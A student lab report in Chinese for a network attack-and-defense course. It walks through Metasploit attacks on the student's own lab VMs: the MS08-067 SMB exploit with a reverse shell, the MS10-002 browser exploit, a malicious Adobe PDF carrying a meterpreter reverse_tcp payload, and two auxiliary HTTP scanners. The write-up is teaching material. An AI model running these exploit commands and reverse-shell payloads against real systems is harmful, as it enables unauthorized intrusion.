zoukankan      html  css  js  c++  java
  • 2017-2018-2 20155203《网络对抗技术》Exp5 MSF基础应用

    1.实践过程记录

    1.1一个主动攻击实践,如ms08_067;

    msf > search ms08_067_netapi //查看可以用的工具
    [!] Module database cache not built yet, using slow search
    
    Matching Modules
    ================
    
       Name                                 Disclosure Date  Rank   Description
       ----                                 ---------------  ----   -----------
       exploit/windows/smb/ms08_067_netapi  2008-10-28       great  MS08-067 Microsoft Server Service Relative Path Stack Corruption
    msf exploit(windows/smb/ms08_067_netapi) > set payload generic/shell_reverse_tcp
    msf exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.154.129
    msf exploit(windows/smb/ms08_067_netapi) > set LPORT 5203
    msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.154.144
    msf exploit(windows/smb/ms08_067_netapi) > set RPORT 445 //该端口号只能使用445或139,是对应漏洞的固定端口
    msf exploit(windows/smb/ms08_067_netapi) > set target 0
    msf exploit(windows/smb/ms08_067_netapi) > exploit
    
    

    一开始反复出现这个错误

    Exploit failed: No encoders encoded the buffer successfully
    

    重启攻击机,并新建一个xp靶机,回连成功。

    出现以下错误:

    可以尝试关闭防火墙解决。

    1.2 一个针对浏览器的攻击,如MS10_002;

    可以使用show options查看设置参数的方法。

    msf exploit(windows/browser/ms10_002_aurora) > show options
    
    Module options (exploit/windows/browser/ms10_002_aurora):
    
       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
       SRVPORT  8080             yes       The local port to listen on.
       SSL      false            no        Negotiate SSL for incoming connections
       SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
       URIPATH                   no        The URI to use for this exploit (default is random)
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Automatic
    

    进行相应设置:

    在靶机连接到该网页后,直接进入会话sessions -i 4

    1.3 一个针对客户端的攻击,如Adobe;

    生成pdf:

    msf exploit(windows/browser/ms10_002_aurora) > search adobe_cooltype_sing
    msf exploit(windows/browser/ms10_002_aurora) > use exploit/windows/fileformat/adobe_cooltype_sing
    msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
    msf exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST 192.168.154.129
    msf exploit(windows/fileformat/adobe_cooltype_sing) > set LPORT 5203
    msf exploit(windows/fileformat/adobe_cooltype_sing) > set FILENAME 20155203dkx.pdf
    msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit
    
    [*] Creating '20155203dkx.pdf' file...
    [+] 20155203dkx.pdf stored at /root/.msf4/local/20155203dkx.pdf
    
    

    生成的文件需要在这里打开显示隐藏文件夹:

    使用监听模块回连:

    1.4 成功应用任何一个辅助模块。(0.5分)

    • 选用了scanner/http/webdav_scanner

    不太明白这个是干嘛的本来以为是一个漏洞扫描,直接打开show options查看了参数,设置了RHOSTS,这里靶机的地址可以是多个,但是我设置的时候出错了,实践表明必须是多个同一网段的主机地址,之后显示成功,这是表示webdav是开启的。

    • 使用scanner/http/prev_dir_same_name_file模块

    这个模块用来检索匹配目标主机的指定路径下的文件。

    以下是有关它的功能的描述:

    该模块识别第一个父目录中与给定目录路径具有相同名称的文件。 示例:PATH为Test / backup / files /将查找Test路径下文件/backup/files.ext,.ext为设定的文件类型。
    以下结果说明扫描成功。

    2.离实战还缺些什么技术或步骤?

    实战的话应该要从具体的靶机环境考虑,不能只依赖msf这个工具。

    3.实践总结与体会

    msf是一个比较全面的工具,从这次实验中可以看出msf能做的渗透攻击还是很局限的,必须使用英文版的非常“原始”的xp。但是能从各种角度攻击成功,非常有成就感

    4.基础问题回答

    (1)用自己的话解释什么是exploit,payload,encode.

    exploit是用来发起攻击的载体。
    payload是执行攻击的代码。
    encode是攻击代码的编码方式。

  • 相关阅读:
    idea使用之myeclipse项目迁移到idea
    启用Windows10的Linux子系统并安装图形界面
    Structs2+spring+hibernate+JPA整合
    微信小程序 跳转页面
    flutter 环境配置
    微信小程序 接口改为promise 由异步改为同步解决多层异步回调
    微信小程序 canvas绘制图片并下载
    微信小程序授权认证 操作
    html5 移动端页面软键盘弹出影响页面布局
    js移动端软件盘弹出隐藏处理
  • 原文地址:https://www.cnblogs.com/xhwh/p/8888713.html
Copyright © 2011-2022 走看看